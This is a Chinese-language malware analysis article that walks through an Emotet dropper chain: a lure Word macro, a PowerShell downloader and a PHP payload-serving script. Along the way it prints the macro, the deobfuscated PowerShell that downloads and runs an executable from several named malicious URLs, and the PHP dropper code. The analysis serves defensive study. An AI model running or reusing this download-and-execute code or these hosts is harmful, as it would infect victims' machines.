Emotet银行木马使用的恶意软件释放技术分析

luochicun 逆向破解 2019年3月15日发布
Favorite收藏

导语:Emotet银行木马首次发现是在2014年6月份,是一款老牌且复杂的银行木马,每隔一段时间就会有一次技术迭代,并引发一次新的攻击浪潮。本文将对恶意软件释放技术进行分析。

Emotet银行木马采用了释放技术

Emotet银行木马首次发现是在2014年6月份,是一款老牌且复杂的银行木马,每隔一段时间就会有一次技术迭代,并引发一次新的攻击浪潮。比如2018年11月,它就添加了垃圾邮件攻击功能,通过垃圾邮件的方式进行传播,进而感染目标用户。需要强调的是,这个新功能可以部署在任何现有的Emotet感染系统中并收集感染目标的电子邮件将其发送回后台。

此外,Emotet也被认为是其他恶意软件的有效载荷或释放器。其使用的电子邮件包含一些恶意附件,这些附件伪装成发票、银行账户提醒、支付通知,或将用户重定向到攻击者控制的超链接,以作为新一次感染的起点。一旦受害者激活感染机制(Word宏或PDF链接),Emotet载荷将在系统上下载、安装和启动。

分析所用的样本信息

你可以在此处下载分析所用的样本,请注意,宏中的URL不包括已分析的URL。

PHP文件分析

接着我们将分析和执行PHP文件以获取数据,要在基于Debian的系统上安装PHP,可以简单的使用下面给出的命令。

sudo apt-get install php7.2-cli

对于Windows,相关信息会在PHP站点上给出,你可在此处找到。

Emotet银行木马所采用的5个阶段的释放过程

第1阶段:恶意宏的释放

附件名为Factura_OS-0689.doc,于2019年2月1日收到。在打开它时(禁用宏,在非基于Windows的系统上,以避免意外感染),社会工程尝试也就开始了。下面给出了图像中的文本:

This document is protected

To open the document,
follow these steps:

This document is only available for desktop op laptop versions of Microsoft Office word

Click Enable editing button from the yellow bar above

Once you have enabled editing, please click Enable content button from the yellow bar above

除了措辞奇怪的句子外,这显然是在引诱毫无防备的受害者执行文档的有效载荷。

该文档包含一个表格(名为f),三个模块(d40tNZH,tzUxn和VCAZiq),每个模块中都有一个函数(分别为wFjUXJ,KKZUbw和love)。要确保在打开文件时执行恶意宏,请使用Document_Open事件。触发此事件时执行的代码如下所示:

Rem Attribute VBA_ModuleType=VBADocumentModuleOption VBASupport 1
 Sub Document_Open()
 If 45 * 13 = 3562 - 3555 ThentDtKeGn = "q6Cxy"End IfDim tu96ocCK As Singletu96ocCK = Round(20521.794670846)
 Dim hAanT8Em2 As DoublehAanT8Em2 = Sgn(58540.935390342)Dim HMkjb As LongHMkjb = (3330 / 370) + (6)
love "o"End Sub

首先,声明并实例化多个变量。在实例化之后,它们都不在代码中使用。函数love最后被调用,只有一个参数:字符串o。love函数的代码如下所示:

Rem Attribute VBA_ModuleType=VBAModuleOption VBASupport 1Sub love(IdZALGS)Dim EQUqVg9N As StringEQUqVg9N = Len(YLPIkZX87)Dim yDnCg14 As LongyDnCg14 = (818 - 791) - (13)Dim yD7Emk2X5 As LongyD7Emk2X5 = -833133810Dim T7056ZwR As LongT7056ZwR = Sgn(0)Dim sBoDH7mZK As BooleansBoDH7mZK = FalsecVMhaxQv = "w"Call Shell(KKZUbw(1) & IdZALGS & cVMhaxQv & wFjUXJ, 0)End Sub

此函数的布局类似于前一个函数,它会首先声明并实例化多个从未使用过的变量。请注意,函数参数IdZALGS被使用并等于o,Call Shell方法包含所有恶意内容。

第二个参数(0)设置shell的窗口模式。0代表vbHide,意味着shell窗口对用户隐藏。

下面分析KKZUbw(1)和wfj函数,变量cVMhaxQv等于w,因为它设置在Call Shell函数上方的行中。下面给出shell命令,其中两个已知变量被设置的值替换。

Call Shell(KKZUbw(1) & "o" & "w" & wFjUXJ, 0)

KKZUbw的代码如下:

Rem Attribute VBA_ModuleType=VBAModuleOption VBASupport 1Public Function KKZUbw(OVOcS As Integer)Dim FC4Vz As IntegerFC4Vz = Sgn(-24987)
KKZUbw = "p"End Function

提供的变量OVOcS等于1,因为它是从love传递的。所提供的参数和整数FC4Vz都从未使用过,函数KKZUbw设置为p,也就是返回值。

对于其他上下文,下面给出了带有替换变量的shell命令。

Call Shell("p" & "o" & "w" & wFjUXJ, 0)

最后一个被调用的函数是wFjUXJ,代码如下。

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public Function wFjUXJ()
Dim ohw7OLNTg As Object
Set ohw7OLNTg = New f
Dim YVyOsk As String
YVyOsk = ohw7OLNTg.de.Text
wFjUXJ = YVyOsk
End Function

首先将变量ohw7OLNTg声明为通用对象,然后在下一行,它被定义为f,即文档中的表单对象。表单有一个名为es的按钮,显示文本Cc3KM。此外,还存在名为de的文本框。文本框中的文本如下:

ershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'.replace('6236.9355943074', $xZGUua);$Zvg3H6 = '';iex($u5XQYhS);

由于pow应该在前面,字符串中的第一个单词是powershell。

完整的脚本如下:

powershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'.replace('6236.9355943074', $xZGUua);$Zvg3H6 = '';iex($u5XQYhS);

第2阶段:删除Powershell脚本

Powershell代码如下所示:

$u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355943074ript.she6236.9355943074ll;$WrDq5hf = new-object sys6236.9355943074tem.net.web6236.9355943074client;$h2JAbj3E = new-object random;$Lcik8RtZ = \"6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://pro-course.ru/7WN7n1n,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://de.thevoucherstop.com/TxJjRtZj,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://3kiloafvallen.nl/wwfuZp3g,6236.9355943074h6236.9355943074t6236.9355943074t6236.9355943074p6236.9355943074://uckelecorp.com/QNTVLmNmt\".spl6236.9355943074it(\",\");$zKrReq4A = $h2JAbj3E.nex6236.9355943074t(1, 65536);$XqzWsIE = \"c:\win6236.9355943074dows\temp\put6236.9355943074ty.exe\";for6236.9355943074each($VZxSuD9 in $Lcik8RtZ){try{$WrDq5hf.dow6236.9355943074nlo6236.9355943074adf6236.9355943074ile($VZxSuD9.ToS6236.9355943074tring(), $XqzWsIE);sta6236.9355943074rt-pro6236.9355943074cess $XqzWsIE;break;}catch{}}'
			.replace('6236.9355943074', $xZGUua);
$Zvg3H6 = '';
iex($u5XQYhS);

变量$xZGUua等于零,因此只需从上面的代码中删除字符串6236.9355943074即可。这样可读的代码就会产生。要提高可读性,只需在文本编辑器中用; \ n替换分号,这样在每个命令之后,都会添加一个新行。可读代码如下。

注意iex($u5XQYhS)用于执行下面描述的Powershell脚本,函数iex代表Invokte-Expression,可以在这里的Microsoft文档中看到。下面,分析将要执行的脚本。

$IY2E4 = new-object -comobject wscript.shell;
$WrDq5hf = new-object system.net.webclient;
$h2JAbj3E = new-object random;
$Lcik8RtZ = \"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,http://de.thevoucherstop.com/TxJjRtZj,http://3kiloafvallen.nl/wwfuZp3g,http://uckelecorp.com/QNTVLmNmt\".split(\",\");
$zKrReq4A = $h2JAbj3E.next(1, 65536);
$XqzWsIE = \"c:\windows\temp\putty.exe\";
foreach($VZxSuD9 in $Lcik8RtZ){
	try{
		$WrDq5hf.downloadfile($VZxSuD9.ToString(), $XqzWsIE);
		start-process $XqzWsIE;
		break;
	}catch{}
}

前三个变量$IY2E4,$WrDq5hf和$h2JAbj3E可以根据对象类型重命名,他们的新名称分别是$wscriptShell、$webClient和$randomGenerator。

下一个变量$Lcik8RtZ是一个url字符串,它被分割,以一个url数组返回。因此,它可以重命名为$urlArray。

随机生成器生成的值在1到65535范围之间,因为最后一个值是极限,它从可能的结果中被排除。这等于16位无符号整数(uint16_t)的最大值:2的16次方。随机生成器的结果保存在变量$zKrReq4A中,这个变量可以重构为$randomNumber。

最后,由于变量$XqzWsIE等于文件下载和执行的路径。因此,它可以重构为$downloadedFile。重构的代码如下:

$wscriptShell = new-object -comobject wscript.shell;$webClient = new-object system.net.webclient;$randomGenerator = new-object random;$urlArray = \"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhztkIS,http://de.thevoucherstop.com/TxJjRtZj,http://3kiloafvallen.nl/wwfuZp3g,http://uckelecorp.com/QNTVLmNmt\".split(\",\");$randomNumber = $randomGenerator.next(1, 65536);$downloadedFile = \"c:\windows\temp\putty.exe\";foreach($url in $urlArray){
	try{
		$webClient.downloadfile($url.ToString(), $downloadedFile);
		start-process $downloadedFile;		break;	}catch{}}

该脚本会循环遍历所有域名,并尝试将下一个阶段进程也下载到受害者的计算机上。更具体的说,是下载到C:\windows\temp\putty.exe。如果下载成功,则执行下载的文件。如果发生错误,则尝试下一个URL,因为catch子句为空。如果所有URL都不可用,脚本将终止,受害者的设备将不受影响。

第3阶段:错误配置的网站

通常,被访问的站点只返回有效载荷。在这种情况下,如果发现了一个错误配置的网站,那就让该网站作为一个开放目录。在此阶段分析的PHP文件及其结果(阶段4)通常不被注意,因为它是服务器端代码。下面就是错误配置的网站,尽管它现在不可用。

http://adsuide.club/y77QTKhV/

PHP文件的内容被美化以增加可读性,请注意,由于其长度(即196 393个字符)太长,此处省略了有效载荷,代码如下。

<?php
 
function fn5c62c1bcb819b($s) {
	$x = '';
	for ($i = 0, $n = strlen($s); $i < $n; $i+= 2)
		{
		$x.= pack('H*', substr($s, $i, 2));
		}
 
	return $x;
}
 
$n5c62c1bcb81d1 = fn5c62c1bcb819b('6576616c28677a696e666c617465286261736536345f6465636f64652822');
$n5c62c1bcb8206 = fn5c62c1bcb819b('222929293b');
eval($n5c62c1bcb81d1 . '[omitted due to size]' . $n5c62c1bcb8206);

函数fn5c62c1bcb819b使用PHP中的pack函数转换两个字符串,其中H用于提供有关字符串类型的信息,在本文的示例中为高“四位元”的十六进制。星号用于表示应考虑整个字符串,因此,可以重构该函数以进行解码。

变量$n5c62c1bcb81d1和$n5c62c1bcb8206就是解码以后的函数。解码两个字符串可以了解更多信息,在下面的代码中,[base64-encoded-value-here]是有效载荷最初所在的位置。

eval(gzinflate(base64_decode("[base64-encoded-value-here]")));

数据以两种方式编码,这意味着它应该在执行之前进行解码。完整的函数如下所示,请注意,因为不应执行有效载荷,eval函数调用已被删除。相反,它已被file_put_contents替换以保存文件进行更详细的分析,所使用的路径应该始终是不变的。

<?php
 
function decode($stringToDecode) {
	$output = '';
	for ($i = 0, $n = strlen($stringToDecode); $i < $n; $i+= 2) {
		$output.= pack('H*', substr($stringToDecode, $i, 2));
	}
 
	return $output;
}
 
$commandPart1 = decode('6576616c28677a696e666c617465286261736536345f6465636f64652822');
$commandPart2 = decode('222929293b');
echo "Command equals:\n";
echo $commandPart1 . "[base64-encoded-value-here]" . $commandPart2 . "\n";
 
file_put_contents("/home/libra/Desktop/emotet/stage4.php", (gzinflate(base64_decode('[omitted due to size]'))));

请注意,写入磁盘的文件是PHP文件,因为eval函数将给定的字符串作为PHP代码执行。

第4阶段:返回有效载荷

完整美化的PHP文件如下所示,为了保持可读性,将对其进行部分分析。

<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
 
if (function_exists('opcache_invalidate')) {
	opcache_invalidate(__FILE__, true);
}
 
class O
 
{
	private $content_ = '[omitted due to size]';
	private $contentName_ = 'iMDbapCVgUb.exe';
	private $contentType_ = 'application/octet-stream';
	private $regex_ = array(
		array(
			'(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)',
			'Android|Silk-Accelerated=[a-z]{4,5}
',
			'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Deluxe'
		) ,
		array(
			'CFNetwork/758\\.4\\.3',
			'CFNetwork/758\\.3\\.15',
			'CFNetwork/758\\.2\\.[78]',
			'CFNetwork/758\\.1\\.6',
			'CFNetwork/758\\.0\\.2',
			'CFNetwork/711\\.5\\.6',
			'CFNetwork/711\\.4\\.6',
			'CFNetwork/711\\.3\\.18',
			'CFNetwork/711\\.2\\.23',
			'CFNetwork/711\\.1\\.1[26]',
			'CFNetwork/711\\.0\\.6',
			'CFNetwork/672\\.1',
			'CFNetwork/672\\.0',
			'CFNetwork/609\\.1',
			'CFNetwork/60[29]',
			'CFNetwork/548\\.1',
			'CFNetwork/548\\.0',
			'CFNetwork/485\\.13',
			'CFNetwork/485\\.12',
			'CFNetwork/485\\.10',
			'CFNetwork/485\\.2',
			'CFNetwork/467\\.12',
			'CFNetwork/459',
			'(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)',
			'(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|;
 Opera)?',
			'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts, iOS|Overcast|Castro|Podcat|i[cC]atcher',
			'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)'
		) ,
		array(
			'Maemo',
			'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?',
			'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?',
			'Linux;
 .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack))[ /](\\d+[\\.\\d]+)',
			'(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack)(?:(?: Enterprise)? Linux)?(?:[ /\\-](\\d+[\\.\\d]+))?',
			'Linux(?:OS)?[^a-z]'
		) ,
		array(
			'CFNetwork/760',
			'CFNetwork/720',
			'CFNetwork/673',
			'CFNetwork/596',
			'CFNetwork/520',
			'CFNetwork/454',
			'CFNetwork/(?:438|422|339|330|221|220|217)',
			'CFNetwork/12[89]',
			'CFNetwork/1\\.2',
			'CFNetwork/1\\.1',
			'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?',
			'Mac (\\d+(?:[_\\.]\\d+)+)',
			'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'
		) ,
		array(
			'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',
			'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',
			'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',
			'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',
			'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',
			'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',
			'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',
			'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'
		) ,
		array(
			'.?'
		)
	);
	private	function spabbd98($sp1bd672)
	{
		foreach($this->regex_ as $spda961f => $spd59ff0) {
			foreach($spd59ff0 as $sp439cf2) {
				$sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $sp439cf2) . ')/i';
				if (preg_match($sp439cf2, $sp1bd672)) {
					return $spda961f;
				}
			}
		}
 
		return -1;
	}
 
	public function execute()
	{
		$sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));
		touch($sp1cb870);
		$spdfc158 = fopen($sp1cb870, 'r+');
		if ($spdfc158 !== false) {
			if (flock($spdfc158, LOCK_EX)) {
				$sp7c7c2a = array();
				$spe8c644 = filesize($sp1cb870);
				if ($spe8c644 > 0) {
					$sp7c7c2a = json_decode(fread($spdfc158, $spe8c644) , true);
				}
 
				$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
				$spda961f = $this->spabbd98($sp6345e2);
				if ($spda961f > 0) {
					if (!isset($sp7c7c2a[$spda961f]) || !is_int($sp7c7c2a[$spda961f])) {
						$sp7c7c2a[$spda961f] = 0;
					}
 
					$sp7c7c2a[$spda961f]++;
				}
 
				fseek($spdfc158, 0);
				fwrite($spdfc158, json_encode($sp7c7c2a));
				fflush($spdfc158);
				flock($spdfc158, LOCK_UN);
			}
 
			fclose($spdfc158);
		}
 
		header('Content-Type: ' . $this->contentType_);
		header('Content-Disposition: attachment;
 filename="' . $this->contentName_ . '"');
		header('Content-Transfer-Encoding: binary');
		return base64_decode($this->content_);
	}
}
 
if ($_SERVER['QUERY_STRING']) {
	die($_SERVER['QUERY_STRING']);
}
 
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
	die(uniqid());
}
 
$sp58859d = new O();
echo $sp58859d->execute();

要进行的分析是基于访问者请求执行的检查与解码的有效载荷分离,首先,分析检查。然后,分析解码载荷的代码。

<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
 
if (function_exists('opcache_invalidate')) {
	opcache_invalidate(__FILE__, true);
}

函数error_reporting设置将报告的错误,参数(在本文的示例中为0)确保不进行报告。为了避免超时,函数set_time_limit使用0将时间限制设置为无限制。

此外,用户可以使用ini_set函数设置自定义变量,变量max_execution_time和memory_limit被设置为无限制的时间和内存。

标头被设置为过期,这导致它立即失效。此外,禁用任何形式的缓存。 opcache_invalidate函数用于使缓存的脚本无效,该脚本等于魔术常量__FILE__。此常量指的是调用它的文件的完整路径和文件名。布尔值等于true,定义是否应强制清除缓存。

缓存被清空并避免永不会在服务器上保留有效载荷的副本(除了脚本本身外),当用户访问该站点时,将执行多个检查。如果两个检查都通过,则会实例化一个新对象,并调用该对象的方法。代码如下。

class O {
	#code omitted
}
 
if ($_SERVER['QUERY_STRING']) {
	die($_SERVER['QUERY_STRING']);
}
 
if ($_SERVER['REQUEST_METHOD'] != 'GET') {
	die(uniqid());
}
 
$sp58859d = new O();
echo $sp58859d->execute();

变量$_SERVER用于请求有关服务器的信息以及加载PHP脚本的方式,变量QUERY_STRING用于获取查询字符串。如果URL中存在任何其他参数,则if语句返回true。函数die类似于exit函数,它显示一条消息并终止脚本。

最后,函数uniqid用于生成唯一ID。如果页面的请求方法不等于HTTP GET方法,则脚本也会终止。

如果满足这个两个条件,则定义并实例化新对象:$sp58859d。之后,调用execute函数。被调用的方法是名为O的类的一部分,该类如下所示。

class O
 
{
	private $content_ = '[omitted due to size]';
	private $contentName_ = 'iMDbapCVgUb.exe';
	private $contentType_ = 'application/octet-stream';

该类有多个私有变量, $content_由于太大(292 911个字符)而被省略,但包含编码的有效载荷。 $contentName_是文件名,$contentType_是将返回的文件类型,在本文的示例中是应用程序。

$regex_变量如下所示:

private $regex_ = array(
		array(
			'(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)',
			'Android|Silk-Accelerated=[a-z]{4,5}
',
			'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Deluxe'
		) ,
		array(
			'CFNetwork/758\\.4\\.3',
			'CFNetwork/758\\.3\\.15',
			'CFNetwork/758\\.2\\.[78]',
			'CFNetwork/758\\.1\\.6',
			'CFNetwork/758\\.0\\.2',
			'CFNetwork/711\\.5\\.6',
			'CFNetwork/711\\.4\\.6',
			'CFNetwork/711\\.3\\.18',
			'CFNetwork/711\\.2\\.23',
			'CFNetwork/711\\.1\\.1[26]',
			'CFNetwork/711\\.0\\.6',
			'CFNetwork/672\\.1',
			'CFNetwork/672\\.0',
			'CFNetwork/609\\.1',
			'CFNetwork/60[29]',
			'CFNetwork/548\\.1',
			'CFNetwork/548\\.0',
			'CFNetwork/485\\.13',
			'CFNetwork/485\\.12',
			'CFNetwork/485\\.10',
			'CFNetwork/485\\.2',
			'CFNetwork/467\\.12',
			'CFNetwork/459',
			'(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)',
			'(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|;
 Opera)?',
			'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts, iOS|Overcast|Castro|Podcat|i[cC]atcher',
			'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)'
		) ,
		array(
			'Maemo',
			'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?',
			'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?',
			'Linux;
 .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack))[ /](\\d+[\\.\\d]+)',
			'(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slackware|SUSE|CentOS|BackTrack)(?:(?: Enterprise)? Linux)?(?:[ /\\-](\\d+[\\.\\d]+))?',
			'Linux(?:OS)?[^a-z]'
		) ,
		array(
			'CFNetwork/760',
			'CFNetwork/720',
			'CFNetwork/673',
			'CFNetwork/596',
			'CFNetwork/520',
			'CFNetwork/454',
			'CFNetwork/(?:438|422|339|330|221|220|217)',
			'CFNetwork/12[89]',
			'CFNetwork/1\\.2',
			'CFNetwork/1\\.1',
			'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?',
			'Mac (\\d+(?:[_\\.]\\d+)+)',
			'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'
		) ,
		array(
			'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',
			'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',
			'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',
			'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',
			'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',
			'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',
			'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',
			'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'
		) ,
		array(
			'.?'
		)
	);

该阵列由数组组成,每个数组定义不同的操作系统组。在索引0处,Android名称是匹配的。第一个索引包含有关iPhone,iPad和iPod的信息,第二个索引包含有关Linux发行版的信息,第三个索引包含有关MacOS系统的信息,第四个索引包含不同版本的Windows操作系统。最后,对除换行之外的任何字符使用正则表达式,而此匹配将作为另一个类别。

使用$regex_变量的函数如下所示:

private	function spabbd98($sp1bd672)
	{
		foreach($this->regex_ as $spda961f => $spd59ff0) {
			foreach($spd59ff0 as $sp439cf2) {
				$sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $sp439cf2) . ')/i';
				if (preg_match($sp439cf2, $sp1bd672)) {
					return $spda961f;
				}
			}
		}
 
		return -1;
	}

变量$spd59ff0可以重命名为$forEachValue,因为它等于循环遍历的数组的当前值。因此,变量$sp439cf2可以重命名为$nestedArray。

由于函数preg_match对字符串(第二个参数)执行正则表达式(第一个参数),因此变量$sp1bd672可以重构为$regexSubject。最后,返回变量$spda961f。此变量等于匹配的操作系统。因此,它可以重命名为$operatingSystem。

如果未找到匹配项,则返回的值为- 1。当给定参数为null或仅包含换行符时,可能会发生这种情况。重构的代码如下所示:

private function getOperatingSystem($regexSubject)
	{
		foreach($this->regex_ as $operatingSystem => $forEachValue) {
			foreach($forEachValue as $nestedArray) {
				$nestedArray = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $nestedArray) . ')/i';
				if (preg_match($nestedArray, $regexSubject)) {
					return $operatingSystem;
				}
			}
		}
		return -1;
	}

执行函数如下所示:

public function execute()
	{
		$sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));

变量$sp1cb870等于魔术常量__FILE__的dirname的basename的SHA-1哈希值,basename返回组件的结尾名称。 dirname返回所提供参数的父目录(魔术常量__FILE__,它等于脚本本身),请注意,文件名以一个点开头,使其成为类Unix系统上的隐藏文件。

下面给出了概念验证,脚本所在的文件夹的名称是emotet。

<?php echo sha1(basename(dirname(__FILE__))) . "\n";

此脚本的输出等于8def78060ee806dcf94e65eb9b2fdf4ca1adb2de,这是emotet的SHA-1哈希,该变量可以被重命名为$sha1Hash。

                touch($sha1Hash);
		$spdfc158 = fopen($sha1Hash, 'r+');

touch函数用于设置文件的时间,如果该文件不存在,则创建该文件。

然后使用fopen打开新创建的文件,参数r+将文件打开为可读写,并在文件开头设置文件指针。因此,变量$spdfc158可以重命名为$sha1HashFile。

接下来的两个if语句如下:

if ($sha1HashFile !== false) {
			if (flock($sha1HashFile, LOCK_EX)) {
				$sp7c7c2a = array();
				$spe8c644 = filesize($sha1Hash);
				if ($spe8c644 > 0) {
					$sp7c7c2a = json_decode(fread($sha1HashFile, $spe8c644) , true);
				}
[...]

if语句会比较$sha1HashFile是否为true(不等于false)。如果是true,则使用$sha1HashFile和LOCK_EX作为参数调用函数flock。这会在文件上设置一个exclusive lock(排斥锁),这意味着在解锁文件之前不能修改任何其他内容。

由于变量$spe8c644的大小等于$sha1Hash文件的大小,因此,它可以被重命名为$sha1HashFileSize。

json_decode函数与fread一起使用,json_decode函数用于解码JSON。第二个参数(true)用于确保返回值保存在数组类型中。 fread函数需要文件和应该读取的长度,它是一个二进制安全文件读取。解码后的结果保存在前面已经实例化的数组$sp7c7c2a中,该数组可以被重命名为$decodedSha1File。

$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
				$spda961f = $this->getOperatingSystem($sp6345e2);
				if ($spda961f > 0) {
					if (!isset($decodedSha1File[$spda961f]) || !is_int($decodedSha1File[$spda961f])) {
						$decodedSha1File[$spda961f] = 0;
					}
 
					$decodedSha1File[$spda961f]++;
				}

使用isset函数,可以获取HTTP_USER_AGENT。如果它不可用,则返回的值为空字符串。因此,变量$sp6345e2可以被重命名为$userAgent。

变量$spda961f包含getOperatingSystem函数的返回值,此变量的名称是$operatingSystem。

如果JSON文件中的操作系统(以基于$regex_变量中的索引的数字表示)不存在或不是整数,则该值设置为零。然后,JSON文件中的操作系统的值将增加1。下面就是JSON文件内容的一个示例:

{"5":18}

输入值等于5,而输出的值则是18。与输入对应的操作系统类型是$regex_中的除换行以外的任何字符中的第五个,$sha1HashFile用于跟踪下载量和请求下载的操作系统。

